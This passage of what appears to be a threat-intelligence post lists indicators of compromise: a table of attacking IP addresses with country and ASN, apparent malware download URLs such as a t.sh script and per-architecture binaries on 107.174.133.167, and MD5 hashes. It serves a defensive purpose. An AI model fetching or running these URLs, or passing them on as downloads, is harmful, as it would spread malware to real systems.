\tUnited States       \tAS25820             \tIT7NET              \n94.140.114.210      \tLatvia              \tAS43513             \tNANO-AS             \n101.37.159.147      \tChina               \tAS37963             \tCNNIC-ALIBABA-CN-NET-AP\n103.27.108.196      \tChina               \tAS132883            \tTOPWAY-AS-AP        \n103.42.196.135      \tIndia               \tAS138754                KVBPL-AS-IN \t                    \n103.42.196.203      \tIndia               \tAS138754                KVBPL-AS-IN   \t                    \n103.108.193.24      \tChina               \tAS139021            \tWEST263GO-HK        \n103.140.186.68      \tSingapore           \tAS206804            \tEstNOC-GLOBAL       \n103.140.186.72      \tSingapore           \tAS206804            \tEstNOC-GLOBAL       \n103.140.186.73      \tSingapore           \tAS206804            \tEstNOC-GLOBAL       \n103.214.146.5       \tChina               \tAS135330            \tADCDATACOM-AS-AP    \n103.253.41.98       \tChina               \tAS133398            \tTELE-AS             \n104.244.72.115      \tLuxembourg          \tAS53667             \tPONYNET             \n104.244.76.13       \tLuxembourg          \tAS53667             \tPONYNET             \n104.244.76.44       \tLuxembourg          \tAS53667             \tPONYNET             \n104.244.76.170      \tLuxembourg          \tAS53667             \tPONYNET             \n104.244.77.101      \tLuxembourg          \tAS53667             \tPONYNET             \n107.189.5.249       \tLuxembourg          \tAS53667             \tPONYNET             \n109.70.100.19       \tAustria             \tAS208323            \tAPPLIEDPRIVACY-AS   \n109.70.100.31       \tAustria             \tAS208323            \tAPPLIEDPRIVACY-AS   \n109.70.100.82       \tAustria             \tAS208323            \tAPPLIEDPRIVACY-AS   \n109.70.100.84       \tAustria             \tAS208323            \tAPPLIEDPRIVACY-AS   \n109.201.133.100     \tThe Netherlands     \tAS43350             \tNFORCE              \n111.252.183.41      \tChina               \tAS3462              \tHINET               \n111.252.198.28      \tChina               \tAS3462              \tHINET               \n112.5.154.7         \tChina               \tAS9808              \tCMNET-GD            \n112.36.205.252      \tChina               \tAS24444             \tCMNET-V4shandong-AS-AP\n112.169.175.24      \tSouth Korea         \tAS131477            \tSHHJ-AS             \n119.86.148.176      \tChina               \tAS4134              \tCHINANET-BACKBONE   \n124.222.23.106      \tChina               \tAS45090             \tCNNIC-TENCENT-NET-AP\n128.31.0.13         \tUnited States       \tAS3                 \tMIT-GATEWAYS        \n141.164.43.95       \tSouth Korea         \tAS20473             \tAS-CHOOPA           \n142.4.206.84        \tCanada              \tAS16276             \tOVH                 \n143.198.131.158     \tUnited States       \tAS14061             \tDIGITALOCEAN-ASN    \n144.172.73.66       \tUnited States       \tAS212513            \tSTELZL-AS           \n144.202.116.138     \tUnited States       \tAS20473             \tAS-CHOOPA           \n144.217.86.109      \tCanada              \tAS16276             \tOVH                 \n146.19.174.33       \tChina               \tAS147293            \tNEAROUTE-AS-AP      \n146.59.233.33       \tFrance              \tAS16276             \tOVH                 \n151.80.148.159      \tFrance              \tAS16276             \tOVH                 \n159.223.73.101      \tSingapore           \tAS14061             \tDIGITALOCEAN-ASN    \n162.247.74.7        \tUnited States       \tAS4224              \tCALYX-AS            \n164.92.65.110       \tUnited States       \tAS14061             \tDIGITALOCEAN-ASN    \n164.132.9.199       \tFrance              \tAS16276             \tOVH                 \n166.70.207.2        \tUnited States       \tAS6315              \tXMISSION            \n167.71.238.228      \tIndia               \tAS14061             \tDIGITALOCEAN-ASN    \n167.99.76.46        \tSingapore           \tAS14061             \tDIGITALOCEAN-ASN    \n168.62.22.238       \tUnited States       \tAS8075              \tMICROSOFT-CORP-MSN-AS-BLOCK\n171.25.193.20       \tGermany             \tAS198093            \tDFRI-AS             \n171.25.193.25       \tGermany             \tAS198093            \tDFRI-AS             \n171.25.193.77       \tGermany             \tAS198093            \tDFRI-AS             \n171.25.193.78       \tGermany             \tAS198093            \tDFRI-AS             \n172.104.93.152      \tJapan               \tAS63949             \tLINODE-AP           \n172.104.140.107     \tGermany             \tAS63949             \tLINODE-AP           \n172.104.159.48      \tGermany             \tAS63949             \tLINODE-AP           \n172.107.241.110     \tUnited States       \tAS40676             \tAS40676             \n172.245.89.109      \tUnited States       \tAS36352             \tAS-COLOCROSSING     \n175.178.154.77      \tChina               \tAS45090             \tCNNIC-TENCENT-NET-AP\n178.17.170.135      \tMoldova             \tAS43289             \tTRABIA              \n178.17.171.102      \tMoldova             \tAS43289             \tTRABIA              \n178.17.174.14       \tMoldova             \tAS43289             \tTRABIA              \n178.20.55.18        \tFrance              \tAS29075             \tIELO                \n182.255.45.211      \tChina               \tAS6134              \tXNNET               \n185.34.33.2         \tFrance              \tAS28855             \tOCTOPUCE-AS         \n185.36.81.95        \tLithuania           \tAS133398            \tTELE-AS             \n185.38.175.130      \tDenmark             \tAS205235            \tLABITAT             \n185.38.175.131      \tDenmark             \tAS205235            \tLABITAT             \n185.56.80.65        \tThe Netherlands     \tAS43350             \tNFORCE              \n185.82.126.13       \tLatvia              \tAS52173             \tMAKONIX             \n185.83.214.69       \tPortugal            \tAS58110             \tIPVOLUME            \n185.100.86.74       \tFinland             \tAS200651            \tFlokiNET            \n185.100.86.128      \tFinland             \tAS200651            \tFlokiNET            \n185.100.87.41       \tRomania             \tAS200651            \tFlokiNET            \n185.100.87.133      \tRomania             \tAS200651            \tFlokiNET            \n185.100.87.174      \tRomania             \tAS200651            \tFlokiNET            \n185.100.87.202      \tRomania             \tAS200651            \tFlokiNET            \n185.105.90.134      \tRussia              \tAS205090            \tFIRST-SERVER-EUROPE \n185.107.47.171      \tThe Netherlands     \tAS43350             \tNFORCE              \n185.107.47.215      \tThe Netherlands     \tAS43350             \tNFORCE              \n185.107.70.56       \tThe Netherlands     \tAS43350             \tNFORCE              \n185.112.147.12      \tIceland             \tAS44925             \tTHE-1984-AS         \n185.129.62.62       \tDenmark             \tAS57860             \tZENCURITY-NET       \n185.163.119.0       \tGermany             \tAS197540            \tnetcup-AS           \n185.165.171.40      \tRomania             \tAS200651            \tFlokiNET            \n185.165.171.84      \tRomania             \tAS200651            \tFlokiNET            \n185.170.114.25      \tGermany             \tAS197540            \tnetcup-AS           \n185.174.101.214     \tUnited States       \tAS8100              \tASN-QUADRANET-GLOBAL\n185.220.100.240     \tGermany             \tAS205100            \tF3NETZE             \n185.220.100.241     \tGermany             \tAS205100            \tF3NETZE             \n185.220.100.242     \tGermany             \tAS205100            \tF3NETZE             \n185.220.100.243     \tGermany             \tAS205100            \tF3NETZE             \n185.220.100.244     \tGermany             \tAS205100            \tF3NETZE             \n185.220.100.245     \tGermany             \tAS205100            \tF3NETZE             \n185.220.100.246     \tGermany             \tAS205100            \tF3NETZE             \n185.220.100.247     \tGermany             \tAS205100            \tF3NETZE             \n185.220.100.248     \tGermany             \tAS205100            \tF3NETZE             \n185.220.100.249     \tGermany             \tAS205100            \tF3NETZE             \n185.220.100.250     \tGermany             \tAS205100            \tF3NETZE             \n185.220.100.251     \tGermany             \tAS205100            \tF3NETZE             \n185.220.100.252     \tGermany             \tAS205100            \tF3NETZE             \n185.220.100.253     \tGermany             \tAS205100            \tF3NETZE             \n185.220.100.254     \tGermany             \tAS205100            \tF3NETZE             \n185.220.100.255     \tGermany             \tAS205100            \tF3NETZE             \n185.220.101.6       \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.22      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.32      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.33      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.34      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.35      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.36      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.37      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.38      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.39      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.40      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.41      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.42      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.43      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.44      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.45      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.46      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.47      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.48      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.49      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.50      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.51      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.52      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.53      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.54      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.55      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.56      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.57      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.58      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.59      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.60      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.61      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.62      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.101.63      \tThe Netherlands     \tAS208294            \tRELAYON             \n185.220.102.240     \tThe Netherlands     \tAS60729             \tZWIEBELFREUNDE      \n185.220.102.245     \tThe Netherlands     \tAS60729             \tZWIEBELFREUNDE      \n185.220.102.249     \tThe Netherlands     \tAS60729             \tZWIEBELFREUNDE      \n185.220.102.254     \tThe Netherlands     \tAS60729             \tZWIEBELFREUNDE      \n185.220.103.7       \tUnited States       \tAS4224              \tCALYX-AS            \n185.226.67.169      \tGreece              \tAS205053            \tAweb-ASN            \n185.243.218.27      \tNorway              \tAS56655             \tTERRAHOST           \n185.246.188.95      \tBelgium             \tAS3164              \tASTIMP-IT           \n185.247.226.98      \tIceland             \tAS200651            \tFlokiNET            \n185.254.75.32       \tGermany             \tAS3214              \tXTOM                \n188.68.58.0         \tGermany             \tAS197540            \tnetcup-AS           \n192.42.116.23       \tThe Netherlands     \tAS1101              \tIP-EEND-AS          \n193.31.24.154       \tGermany             \tAS197540            \tnetcup-AS           \n193.110.95.34       \tSwitzerland         \tAS13030             \tINIT7               \n193.111.199.64      \tGermany             \tAS24961             \tMYLOC-AS            \n193.218.118.95      \tUkraine             \tAS207656            \tEPINATURA           \n193.218.118.183     \tUkraine             \tAS207656            \tEPINATURA           \n193.218.118.231     \tUkraine             \tAS207656            \tEPINATURA           \n194.31.98.186       \tThe Netherlands     \tAS213035            \tAS-SERVERION        \n194.233.77.245      \tSingapore           \tAS141995            \tCAPL-AS-AP          \n195.176.3.19        \tSwitzerland         \tAS559               \tSWITCH              \n195.176.3.23        \tSwitzerland         \tAS559               \tSWITCH              \n198.54.128.102      \tUnited States       \tAS11878             \tTZULO               \n198.98.51.189       \tUnited States       \tAS53667             \tPONYNET             \n198.98.57.207       \tUnited States       \tAS53667             \tPONYNET             \n198.144.121.43      \tThe Netherlands     \tAS206264            \tAMARUTU-TECHNOLOGY  \n199.195.248.29      \tUnited States       \tAS53667             \tPONYNET             \n199.195.254.81      \tUnited States       \tAS53667             \tPONYNET             \n199.249.230.87      \tUnited States       \tAS62744             \tQUINTEX             \n203.175.13.118      \tChina               \tAS141677            \tNATHOSTS-AS-AP      \n204.8.156.142       \tUnited States       \tAS10961             \tBGP-AS              \n205.185.117.149     \tUnited States       \tAS53667             \tPONYNET             \n205.185.124.178     \tUnited States       \tAS53667             \tPONYNET             \n209.141.41.103      \tUnited States       \tAS53667             \tPONYNET             \n209.141.44.64       \tUnited States       \tAS53667             \tPONYNET             \n209.141.45.189      \tUnited States       \tAS53667             \tPONYNET             \n209.141.46.81       \tUnited States       \tAS53667             \tPONYNET             \n209.141.46.203      \tUnited States       \tAS53667             \tPONYNET             \n209.141.54.195      \tUnited States       \tAS53667             \tPONYNET             \n209.141.55.26       \tUnited States       \tAS53667             \tPONYNET             \n209.141.57.178      \tUnited States       \tAS53667             \tPONYNET             \n209.141.58.146      \tUnited States       \tAS53667             \tPONYNET             \n209.141.60.19       \tUnited States       \tAS53667             \tPONYNET             \n210.217.18.88       \tSouth Korea         \tAS4766              \tKIXS-AS-KR          \n211.20.42.23        \tChina               \tAS3462              \tHINET               \n212.107.30.157      \tChina               \tAS41378             \tKirinoNET           \n213.61.215.54       \tGermany             \tAS8220              \tCOLT                \n213.164.204.146     \tSweden              \tAS8473              \tBAHNHOF             \n217.138.199.93      \tCzech Republic      \tAS9009              \tM247    \n```\n\n\nURL\n```\nhttp://107.174.133.167/gmpsl\nhttp://107.174.133.167/gi686\nhttp://107.174.133.167/garm\nhttp://107.174.133.167/gmips\nhttp://107.174.133.167/garm7\nhttp://107.174.133.167/gx86\nhttp://107.174.133.167/t.sh\nhttp://107.174.133.167/garm6\nhttp://107.174.133.167/garm5\nhttp://15.185.213.122:65123/javac\nhttp://15.185.213.122:65123\nbase64://be3f78b59fa14140b6cc8633bf705a75\nhttp://15.185.213.122:65123/java\nbase64://c08fec5682085417b0a039bdf47c38f2\n```\n\nMD5\n```\n4bcd19351697d04fb357ce5b36600207\n7d244e7bf48d6631b588cecae87e759d\n9c14d670a48bba4b7c047a01d417f8f2\n97a7a357b8290a7236a5fbf45f17569f\n7621f1a5e8db18f3ae30031122c9c397\n100674f1e3ecfb6fa244de4ba7fd2ae2\n329155ab45e244661a7725d81dfad740\n611630a580e33017be32de8c72625489\n650152a2fe78dfceceb4d1a1fdeaccb8\n400590515f0f1cf942fe734126be94e7\na8a36132632366c7f65066b23d6f7e4f\nb1124c862998bc4ab3ff8b1d471310a6\ncca63413e3ca6b834b6a4446768c5ccb\ndcc157b2c284ac676000d64dd33f3ec4\ne1190f07a6da91caaa317affc9512caa\neba95249cf0a51e300d7b6029cf7088e\nfb63e9a23dbf4124116471fcf3254283\nfd839753ca4d89c0ccd229b12f95827c\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"}